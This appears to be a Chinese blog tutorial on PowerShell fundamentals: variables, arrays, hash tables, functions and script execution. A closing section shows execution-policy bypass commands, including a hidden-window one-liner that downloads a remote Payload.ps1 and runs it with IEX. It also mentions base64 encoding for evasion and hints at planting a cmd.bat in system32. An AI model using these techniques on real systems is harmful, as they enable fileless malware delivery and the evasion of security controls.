Powershell基础学习
0x01 简介
Windows PowerShell 是一种命令行外壳程序和脚本环境,使命令行用户和脚本编写者可以利用 .NET Framework的强大功能。当然说这些,作为用户不关心你是什么技术,首先想知道的是你提供的是什么东西、怎么用。
PowerShell,从名字可以知道,他首先是一个shell,shell的意思就是和Linux的bash等一样、和原来的cmd一样就是在里边敲命令(可执行文件)使用;而Power就意味他是一个功能强大的shell,从面向用户而言,个人觉得其功能强大体现在以下几方面:
(1)微软态度。微软是真正的在推行PowerShell,包括Office等更多自家软件,底层都是调用PowerShell来实现。
(2)兼容性cmd。PowerShell包含原先cmd的所有命令,原先命令使用形式不变,在是在其基础上添加命令。
(3)对标Linux。PowerShell使用了Linux Shell的思想,也就是所有的系统操作、配置,都可以在shell中敲写命令实现。
(4)统一的命令格式和自包含的文档。基于前3点我们即可以说PowerShell已可与Linux Bash等一较高下,如果再加上后发优势那就可以让人相信PowerShell可以成功。
第一点是PowerShell所有命令使用统一的cmdlet命令格式(也就是“动词-名词”的格式,比如get-process)会使人很容易记住;
第二点这里所谓自包含是指你要干一件事你可以逐步找到要做的事所需的所有命令,即便你记不得命令你也可以很容易找到,你找到命令看文档就很容易知道怎么使用。
当然powershell很好但也有着其劣势:
(1)Linux和Windows系统本身定位的差异。Linux的免费稳定使其牢牢占据了服务器领域,Linux Shell命令是没有很多统一格式的因此工程师们要费很大的劲去学习,而当Linux占据工程师的大部分精力并塑造完他们的习惯后,工程师们也许并没有那么多精神和动力去学powershell。
(2)来自Windows GUI的竞争。Windows上命令能干的事GUI也都能干也许效率慢一些但普通用户可不想去黑漆漆的界面敲感觉不受控制的命令。
Linux占据了服务器工程师的日常,而Windows自身强大的GUI对普通用户有天然的亲和力,所以powershell能期望的目标用户是谁呢,Windows服务器运维工程师好像没见过专门设有这职位。
0x02 基础知识
Get-Host:获取当前powershell的版本信息

2.1 变量
变量:变量都是以$开头, 是强类型语言, 语言是大小写不敏感的

非常有必要提一下变量保护与常量的声明:
New-Variable num -Value 100 -Force -Option readonly
这样就得到一个受保护的变量$num,如果要销毁它只能通过del Variable:num -Force删除。

如果要声明常量则用:(注意:常量一旦声明,不可修改)
New-Variable num -Value 100 -Force -Option constant
2.2 数组
数组的创建:
数组的创建可以通过下面五种方式来创建,在适当的条件下选择适当的方式创建即可
$array = 1,2,3,4,5
$array = 1..5
$array=1,"2019",([System.Guid]::NewGuid()),(get-date)
$a=@() # 空数组
$a=,"1" # 一个元素的数组

数组的访问:a[4]

数组的访问和C类似,第一位元素实用下标0来访问即$array[0],我们来看看ipconfig获取到的数据:
$ip = ipconfig
$ip[1] # 获取ipconfig第二行的数据

数组的判断:
$ip -is [array]

数组的追加:
$a += "6"

2.3 哈希表
哈希表的创建:
$stu=@{Name="test";Age="12";sex="man"}

哈希表里存数组:
$stu=@{ Name = "momaek";Age="12";sex="man";Books="kali","sqlmap","powershell" }

哈希表的更改与删除:
#更改
$Stu.Name="hahaha"
#删除
$stu.Remove("Name")

2.4 对象
在powershell中一切都可以视为对象,包罗万象New-Object可以创建一个对象Add-Member可以添加属性和方法。
foreach-object函数用法:获取所有的服务,并获取对比进程ID是否大于100:
Get-WmiObject Win32_Service | ForEach-Object {"Name:"+ $_.DisplayName, ", Is ProcessId more than 100:" + ($_.ProcessId -gt 100)}

2.5 函数
函数的定义:
function Invoke-PortScan {
<#
.SYNOPSIS
简介
.DESCRIPTION
描述
.PARAMETER StartAddress
参数
.PARAMETER EndAddress
参数
.EXAMPLE
用例
PS > Invoke-PortScan -StartAddress 192.168.0.1 -EndAddress 192.168.0.254
#>
code
}
2.6 异常处理
Try{
$connection.open()
$success = $true
}Catch{
$success = $false
}
0x03 脚本执行
windows平台中常用到的几种脚本:
3.1 Bat
全名为批处理文件,脚本中就是我们在CMD中使用到的命令。
这里提一个小知识点:
CMD的命令行执行命令的优先级是.bat > .exe,那么假如我放一个cmd.bat在system32目录下,那么优先执行的是cmd.bat,这里面的内容就变得不可描述起来了
3.2 VBscript
执行vbs就是常说的vbscript,是微软为了方便自动化管理windows而推出的脚本语言,这里了解一下即可,不是文章重点。
一个小例子通过vbs操作WMI:
Set wmi = GetObject("winmgmts:")
Set collection = wmi.ExecQuery("select * from Win32_Process")
For Each process in collection
WScript.Echo process.getObjectText_
Next
3.3 Powershell
这就是我们的主角,在现在和未来一定是powershell占据主要地位(对于这一点搞Win多一点的朋友一定不会怀疑),首先我们来看一个简单的例子:
script.ps1:
function test-conn {
Test-Connection -Count 2 -ComputerName $args
}
首先来理解一下这个函数里面的代码:
Test-Connection www.baidu.com

那么我们就知道了 -count 2 连接次数为2 然后后面的-computername www.baidu.com 为域名的参数
想要执行非系统ps脚本的话,需要用管理员权限调整一下默认的安全策略:
set-ExecutionPolicy RemoteSigned
之后再导入模块:
Import-Module .\script.ps1
最后通过调用函数运行:
test-conn www.baidu.com

0x04 绕过 PowerShell 的执行策略
#本地文件执行
powershell.exe -ExecutionPolicy bypass -File Payload.ps1
powershell.exe exec bypass -Command "& {Import-Module C:\Payload.ps1;Invoke-AllChecks}"
#远程无文件执行
powershell.exe -ExecutionPolicy Bypass-WindowStyle Hidden-NoProfile-NonIIEX(New-ObjectNet.WebClient).DownloadString("http://192.168.1.1/Payload.ps1");[payload的参数] (去除方括号)
如果本地的powershell命令参数进行了限制,可以使用ps_encoder.py脚本将编码转为base64格式
0x05 参考链接
https://www.cnblogs.com/lsdb/p/9531338.html
https://www.pstips.net/powershell-define-variable.html
https://blog.csdn.net/q1352483315/article/details/100778424
https://www.t00ls.net/viewthread.php?tid=30522&extra=&highlight=powershell&page=1
Powershell基础学习的更多相关文章
- 【黑客基础】Windows PowerShell 脚本学习(上)
视频地址:[黑客基础]Windows PowerShell 脚本学习 2019.12.05 学习笔记 1.$PSVersionTable :查看PowerShell的版本信息. 2.PowerShel ...
- vagrant的学习 之 基础学习
vagrant的学习 之 基础学习 本文根据慕课网的视频教程练习,感谢慕课网! 慕课的参考文档地址:https://github.com/apanly/mooc/tree/master/vagrant ...
- powershell 基础
目录 本教程概述 用到的工具 标签 简介 0x01使用简介 0x02脚本编写 0x03实例讲解 本教程概述 本课我们学习powershell使用. 用到的工具 cmd.exe powershell ...
- Linux 基础学习1
目录 Linux 基础学习 用户登录 终端 交互式接口 bash 修改ssh连接慢的步骤 命令提示符 显示提示符格式 命令 别名 命令格式 获取命令的帮助信息 man bash 快捷键 tab 键 引 ...
- salesforce 零基础学习(五十二)Trigger使用篇(二)
第十七篇的Trigger用法为通过Handler方式实现Trigger的封装,此种好处是一个Handler对应一个sObject,使本该在Trigger中写的代码分到Handler中,代码更加清晰. ...
- 如何从零基础学习VR
转载请声明转载地址:http://www.cnblogs.com/Rodolfo/,违者必究. 近期很多搞技术的朋友问我,如何步入VR的圈子?如何从零基础系统性的学习VR技术? 本人将于2017年1月 ...
- IOS基础学习-2: UIButton
IOS基础学习-2: UIButton UIButton是一个标准的UIControl控件,UIKit提供了一组控件:UISwitch开关.UIButton按钮.UISegmentedContro ...
- HTML5零基础学习Web前端需要知道哪些?
HTML零基础学习Web前端网页制作,首先是要掌握一些常用标签的使用和他们的各个属性,常用的标签我总结了一下有以下这些: html:页面的根元素. head:页面的头部标签,是所有头部元素的容器. b ...
- python入门到精通[三]:基础学习(2)
摘要:Python基础学习:列表.元组.字典.函数.序列化.正则.模块. 上一节学习了字符串.流程控制.文件及目录操作,这节介绍下列表.元组.字典.函数.序列化.正则.模块. 1.列表 python中 ...
随机推荐
- 关于vscode自动跳转回车的解决方法(关闭vscode自动保存功能;可能和其他插件有冲突)
关于vscode自动跳转回车的解决方法(关闭vscode自动保存功能:可能和其他插件有冲突)
- vue + yarn 项目开发 (一)
1.打开src文件夹中的main.js文件,添加引用element ui框架 import ElementUI from 'element-ui' import 'element-ui/lib/the ...
- Vue学习之路由vue-router小结(九)
一.路由: 1.后端路由: 对于普通网站,所有的超链接都是URL地址,所有的URL地址都对应服务器上对应的资源: 2.前端路由: 对于单页面应用程序来说,主要通过URL中的hash(#号)来实现不同页 ...
- selenium 开启开发者工具(F12)
selenium 开启开发者工具(F12) options = webdriver.ChromeOptions(); options.add_argument("--auto-open-de ...
- CSS3 完善盒模型
CSS3 改善了传统盒模型结构,增强了盒子构成要素的功能,扩展了盒模型显示的方式. 改善结构:为盒子新增轮廓区: 增强功能:内容区增强 CSS 自动添加内容功能,增强内容移除.换行处理:允许多重定义背 ...
- Numpy和Pandas的使用入门
Numpy Numpy基本数据结构 np.array()函数接受一个多维list,返回对应纬度的矩阵 vector = np.array([1, 2, 3, 4]) matrix = np.array ...
- Java Web项目搭建过程记录(struts2)
开发工具:eclipse 搭建环境:jdk1.7 tomcat 8.0 基础的java开发环境搭建过程不再赘述,下面从打开eclipse 之后的操作开始 第一步: 创建项目,File -> ...
- ISO模型学习
PDU:协议数据单元是指层次之间传递的数据单位 物理层PDU :PDU是数据位 bit数据链路层的PDU是数据帧frame网络层的PUD是数据包 packet传输层的PDU是数据段 segment其他 ...
- 网络编程系统化学习(1.1.)--socket基础
大纲 学完该阶段内容,你将会很好的完成如下的面试题 socket面试试题相关: 1.写一个简单的socket程序,实现客户端发送数据,服务端收到数据后,将该内容转发给客户端 2.简要概述一下socke ...
- 阿里云ESC-安装nginx
废话不多说,直接上干货,本人使用putty连接到阿里云ECS 平台(centos7),先输入如下命令: sudo rpm -Uvh http://nginx.org/packages/centos/7 ...